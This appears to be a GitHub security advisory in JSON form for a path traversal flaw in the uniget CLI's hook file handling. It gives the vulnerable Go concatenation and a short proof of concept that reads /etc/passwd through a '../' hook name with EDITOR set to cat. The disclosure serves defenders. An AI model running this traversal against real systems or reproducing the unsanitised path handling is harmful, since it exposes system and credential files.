1 line
2.4 KiB
JSON
1 line
2.4 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-m6jg-wr9m-cg2f","published":"2026-08-17T17:46:33Z","modified":"2026-08-18T15:11:05.263719600Z","aliases":["CVE-2026-55062","GO-2026-6247"],"summary":"uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability","details":"### Summary\nPath Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html).\n\n**Details**\nFile: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) `Lines 135-160`\n```\nhookFileName := args[0] // User input not validated\nhookFile = preInstallHooksDir + \"/\" + hookFileName // Direct concatenation\n```\n\nHook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.\n\n\n\n### PoC\n**Step 1:** Set cat as editor\n```\nexport EDITOR=\"cat\"\n```\n**Step 2:** Read /etc/passwd via path traversal\n\n```\n./uniget hooks edit --type=pre-install \"../../../../etc/passwd\"\n```\n\n**Step 3:** Output shows file contents\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n[...]\n```\n\n<img width=\"1014\" height=\"178\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab\" />","affected":[{"package":{"name":"gitlab.com/uniget-org/cli","ecosystem":"Go","purl":"pkg:golang/gitlab.com/uniget-org/cli"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.27.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-m6jg-wr9m-cg2f/GHSA-m6jg-wr9m-cg2f.json"}}],"references":[{"type":"WEB","url":"https://github.com/uniget-org/cli/security/advisories/GHSA-m6jg-wr9m-cg2f"},{"type":"WEB","url":"https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91"},{"type":"PACKAGE","url":"https://github.com/uniget-org/cli"},{"type":"WEB","url":"https://github.com/uniget-org/cli/releases/tag/v0.27.6"}],"database_specific":{"cwe_ids":["CWE-22","CWE-23","CWE-36","CWE-73"],"github_reviewed":true,"github_reviewed_at":"2026-08-17T17:46:33Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}]} |